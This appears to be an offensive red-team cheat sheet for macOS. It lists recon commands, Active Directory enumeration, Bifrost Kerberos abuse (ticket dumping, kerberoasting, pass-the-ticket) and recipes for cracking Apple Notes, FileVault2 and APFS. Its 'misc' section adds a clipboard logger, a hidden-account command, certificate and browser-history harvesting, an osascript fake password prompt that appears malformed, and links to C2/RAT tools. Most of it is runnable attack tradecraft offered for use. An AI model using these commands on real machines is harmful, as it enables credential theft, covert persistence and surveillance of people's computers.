macOS Exploit#
Recon, credential access, persistence, and post-exploitation tradecraft for macOS. The survey block snapshots the target; Bifrost handles Kerberos abuse; Dylib hijacking and Apple Notes / FileVault / APFS cracking round out the kit.
macOS survey#
$ system_profiler > ~/Desktop/system_profile.txt # everything
$ sw_vers # OS build
$ cat /System/Library/CoreServices/SystemVersion.plist
$ sw_vers -productVersion
$ sysctl -n machdep.cpu.brand_string # CPU
$ fdesetup status # FileVault
$ networksetup -listallhardwareports # hardware ports
$ sudo sysdiagnose -f ~/Desktop/ # advanced report
$ sudo kextstat -l # loaded kexts
$ pwpolicy getaccountpolicies # password policy
$ groups # enumerate groups
$ klist # cached Kerberos tickets
$ klist -c <cache>
$ sudo /usr/bin/profiles status -type enrollment # MDM enrollment
# LSRegister paths searched for app registration
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -dump
# Installed apps and packages
$ cat /Library/Receipts/InstallHistory.plist
$ ls -lart /private/var/db/receipts/
$ mdfind kMDItemAppStoreHasReceipt=1 # App Store apps
# Disks and wireless
$ diskutil list
$ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
$ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I | \
awk '/ SSID/ {print substr($0, index($0, $2))}'
$ defaults read /Library/Preferences/SystemConfiguration/com.apple.airport.preferences | grep LastConnected -A 7
# Bluetooth
$ defaults read /Library/Preferences/com.apple.Bluetooth ControllerPowerState
# Memory
$ vm_stat
$ vm_stat -c 10 1
macOS enumeration#
DNS-SD on the local network.
# Printer services
$ dns-sd -B _services._dns-sd._udp local.
$ dns-sd -B _ipp._tcp local.
$ dns-sd -L "Brother HL-L2350DW series" _ipp._tcp local.
$ dns-sd -Gv4v6 BRW105BAD4B6AD6.local
# SMB services
$ dns-sd -B _smb._tcp local.
$ dns-sd -L "TimeCapsule" _smb._tcp local.
IPP find.
$ ippfind # local printers
$ ippfind _ipp._tcp,_universal --exec echo '{service_hostname}' \;
$ ippfind _ipp._tcp,_universal --exec dns-sd -G v4 '{service_hostname}' \;
Use Bonjour to locate AFP services.
$ dns-sd -B _afpovertcp._tcp
Active Directory enumeration.
$ dscl "/Active Directory/<domain>/All Domains" ls /Computers
$ dscl "/Active Directory/<domain>/All Domains" ls /Users
$ dscl "/Active Directory/<domain>/All Domains" read /Users/<username>
$ dscl . cat /Users/<username>
$ dscl . read /Groups/admin
$ dsconfigad -show
$ dscl . list /Groups
$ dscl . list /Users
$ dscl . list /Users | grep -v '_'
$ dscacheutil -q group
$ dscacheutil -q group -a gid 80
$ dscacheutil -q user
$ dscl -u <ADMIN_USER> -P <PASS> <OD_Server> profilelist /LDAPv3/127.0.0.1/Users/<USER>
Bifrost (Kerberos)#
Bifrost enables Kerberos testing on macOS using native APIs.
# List credential caches
$ bifrost -action list
# Dump tickets from the default cache
$ bifrost -action dump -source tickets
# Dump keytab (requires root for /etc/krb5.keytab)
$ bifrost -action dump -source keytab
# Compute hashes used for TGTs (requires plaintext password; base64 with -bpassword)
$ bifrost -action askhash -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh
Request a TGT.
# With base64 password
$ bifrost -action asktgt -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh
# With hash
$ bifrost -action asktgt -username lab_admin -domain lab.local \
-enctype aes256 -hash 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 \
-tgtEnctype rc4
# With keytab
$ bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -keytab test
Describe and ask for service tickets.
$ bifrost -action describe -ticket doIFIDCCBRygBgIEAA<...snip...>Uw=
$ bifrost -action asktgs -ticket doIFIDC<...snip...>Uw= \
-service cifs/dc1-lab.lab.local,host/dc1-lab.lab.local
Kerberoasting.
$ bifrost -action asktgs -ticket doIF<...snip...>QUw= \
-service host/dc1-lab.lab.local -kerberoast true
Pass-the-ticket.
$ bifrost -action ptt -cache new -ticket doI<...snip...>QUw=
Dylib hijacking#
By abusing features of OS X’s dynamic loader, attackers plant specially crafted dynamic libraries so they auto-load into vulnerable applications.
AirSpy#
AirSpy explores Apple’s AirDrop protocol implementation on i/macOS from the server’s perspective. Dumps requests / responses and linear code coverage of the code processing each request.
Crack Apple Secure Notes#
Step 1, copy NotesV#.storedata from the target at
/Users/<username>/Library/Containers/com.apple.Notes/Data/Library/Notes/.
Pick the version matching the OS (Mountain Lion = NotesV1, Mavericks =
NotesV2, Yosemite = NotesV4, El Capitan / Sierra = NotesV6, High
Sierra = NotesV7).
Step 2, download applenotes2john and point it at the SQLite DB.
$ applenotes2john.py NotesV#.storedata
Step 3, format and load the hash into John (--format=notes-opencl)
or Hashcat (-m 16200) to crack.
Crack Apple FileVault2 disk encryption#
# 1. dd image of FileVault2 disk
$ sudo dd if=/dev/disk2 of=/path/to/filevault_image.dd conv=noerror,sync
# 2. install fvde2john (https://github.com/kholia/fvde2john)
# 3. attach the image
$ hdiutil attach -imagekey diskimage-class=CRawDiskImage -nomount /Volumes/path/to/filevault_image.dd
# 4. retrieve EncryptedRoot.plist.wipekey from Recovery HD
$ mmls /Volumes/path/to/filevault_image.dd
$ fls -r -o 50480752 /Volumes/path/to/filevault_image.dd | grep -i EncryptedRoot
$ icat -o 50480752 image.raw 130 > EncryptedRoot.plist.wipekey
# 5. identify Apple_Corestorage device
$ diskutil list
# 6. extract the hash
$ sudo fvdetools/fvdeinfo -e EncryptedRoot.plist.wipekey -p blahblah /dev/disk3s2
# 7. crack
$ john --format=FVDE-opencl --wordlist=dict.txt hash.txt
$ hashcat -a 0 -m 16700 hash.txt dict.txt
Crack APFS up to 10.13#
# https://github.com/kholia/apfs2john
$ sudo ./bin/apfs-dump-quick /dev/sdc1 outfile.txt
$ sudo ./bin/apfs-dump-quick image.raw outfile.txt
# consider kpartx for disk image handling
# https://github.com/kholia/fvde2john
macOS misc#
# Dump clipboard continuously
$ while true; do echo -e "\n$(pbpaste)" >> /tmp/clipboard.txt && sleep 5; done
# Add a hidden user
$ sudo dscl . -create /Users/#{user_name} UniqueID 333
# Extract certificates
$ security find-certificate -a -p
# Locate bookmark databases
$ find / -path "*/Firefox/Profiles/*/places.sqlite" -exec echo {} >> /tmp/firefox-bookmarks.txt \;
$ find / -path "*/Google/Chrome/*/Bookmarks" -exec echo {} >> /tmp/chrome-bookmarks.txt \;
# Browser histories
# Safari: ~/Library/Safari/History.db
# Chrome: ~/Library/Application Support/Google/Chrome/Default/History
# Firefox: ~/Library/Application Support/Profiles<random>.default-release/places.sqlite
# Prompt user for password (local phishing)
$ osascript -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to activate' \
-e 'tell app "System Preferences" requires that you type your password to apply changes.' \
-e 'default answer "" with icon 1 with hidden answer with title "Software Update"'
C2 tools#
Pupy, cross-platform Python RAT, all-in-memory, low footprint.
https://github.com/n1nj4sec/pupyApfell, cross-platform red-teaming framework built with Python3, Docker, and a web UI.
https://github.com/its-a-feature/Apfell